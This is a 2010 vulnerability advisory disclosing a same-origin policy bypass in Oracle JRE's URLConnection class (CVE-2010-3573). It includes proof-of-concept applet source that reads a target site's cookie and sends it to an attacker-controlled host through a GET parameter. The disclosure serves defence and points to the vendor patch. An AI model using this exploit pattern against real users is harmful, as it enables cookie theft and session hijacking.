security-assessment.com

Vulnerability Advisory

Name	Oracle JRE - java.net.URLConnection class – Same-of-Origin (SOP) Policy Bypass
Vendor Website	http://www.oracle.com/technetwork/java/javase/overview/index.html
Date Released/CVE	18th October 2010 – CVE-2010-3573
Affected Software	java.net.URLConnection class included within Java(TM) SE Runtime Environment (build 1.6.0_21-b07 and potentially previous versions)
Researcher	Roberto Suggi Liverani – roberto.suggi@security-assessment.com

Description

Security-Assessment.com discovered that a Java Applet making use of java.net.URLConnection class can be used to bypass same-of-origin (SOP) policy and domain based security controls in modern browsers when communication occurs between two domains that resolve to the same IP address. This advisory includes a Proof-of-Concept (PoC) demo and Java Applet source code. This demonstrates how the security vulnerability can be exploited to leak cookie information to an unauthorised domain, which resides on the same host IP address.

Exploitation

The Flash movie demo can be viewed at the following link:
http://www.security-assessment.com/files/advisories/java_net_urlconnection_sop_bypass_demo.swf

The Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) attack can be leveraged by using a Java Applet which implements the java.net.URLConnection class. Traditionally, XSRF is used to force a user to perform an unwanted action on a target web site. In this case, the PoC shows that XSRF can be used to capture sensitive information such as a cookie related to a target web site.

The following assumptions are made in this PoC:

1. The virtual hosts **www.targetsite.net** and **www.badsite.com** resolve to the same IP address;
2. A malicious user controls **www.badsite.com** web site;
3. A malicious user targets **www.targetsite.net** users.

The following table summarises the sequence of actions shown in demo:

Sequence	Condition
1	User has a valid cookie for **www.targetsite.net**
2	The same user visits **www.badsite.com** which performs a cross site forged request to **www.targetsite.net** . The forged request is performed by a Java Applet embedded on the malicious site. The Java Applet bypasses the Same-of-Origin policy (SOP) as an unsigned Java Applet should not be able to communicate from **www.badsite.com** to **www.targetsite.net** without a crossdomain.xml policy file.
3	Java Applet performs first GET request to **www.targetsite.net**. At this stage, the Java Applet already controls the Cookie: header sent to **www.targetsite.net** through the *getRequestProperty("cookie")* method. This is in breach with SOP.
4	A second request is done for the purpose of the demo which leaks **www.targetsite.net** cookie's to **www.badsite.com** via an HTTP GET request.

Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers:

Browser version	
Mozilla Firefox 3.5.8 (Windows XP)	Opera 10.60 (Windows XP)
Internet Explorer 6.0.2900.5512 (Windows XP)	Google Chrome 5.0.375.9 (Windows XP)
Internet Explorer 8.0.6001.18702 (Windows XP)	Safari 5.0 (7533.16) (Windows XP)

MaliciousJavaApplet.java

```
import java.awt.*;
import java.io.*;
import java.net.*;

public class MaliciousJavaApplet extends java.applet.Applet {

   TextArea messageLog = new TextArea(4, 40);

   public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
   }

   public void start() {

      try {

                              URL url = new URL("http://www.targetsite.net/default.html");
                              URLConnection connection;
                              String inputLine;
                              BufferedReader inReader;
         connection = url.openConnection();
                              connection.setAllowUserInteraction(false);
                              connection.setDoOutput(true);
                              messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");

                              messageLog.append("File read from URL " + url + ":\n");
         inReader = new BufferedReader(
                  new InputStreamReader(connection.getInputStream()));
         while (null != (inputLine = inReader.readLine())) {
            messageLog.append(inputLine + "\n");
         }
         inReader.close();
                              messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");

                              String cookie;
                              cookie = connection.getRequestProperty("cookie");

                              URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
                              URLConnection connection2;

                              String inputLine2;
                              BufferedReader inReader2;
         connection2 = url2.openConnection();
                              connection2.setAllowUserInteraction(false);
                              connection2.setDoOutput(true);

                              inReader2 = new BufferedReader(
                  new InputStreamReader(connection2.getInputStream()));
         while (null != (inputLine2 = inReader2.readLine())) {
            messageLog.append(inputLine2 + "\n");
         }
         inReader2.close();

      }
      catch (IOException e) {
         System.err.println("Exception:  " + e);
  }
}

}
```

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of JRE and JDK to upgrade to the latest version as soon as possible. For more information on the new release of JRE/JDK please refer to the release notes:

http://www.oracle.com/technetwork/java/javase/downloads/index.html

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web: www.security-assessment.com
Email: info@security-assessment.com